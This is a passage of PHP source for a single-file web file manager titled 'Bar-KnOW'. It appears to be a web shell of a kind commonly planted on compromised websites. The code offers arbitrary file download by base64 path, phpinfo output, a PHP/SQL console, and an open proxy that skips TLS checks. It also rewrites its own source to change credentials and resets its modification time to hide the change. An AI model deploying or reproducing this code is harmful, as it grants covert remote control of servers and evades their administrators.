//////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
function find_text_in_files($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_files($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg_ntimes = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg_ntimes .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg_ntimes .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg_ntimes .= __('File updated');
} else $msg_ntimes .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg_ntimes .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Bar-KnOW</title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}
.file {
background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5w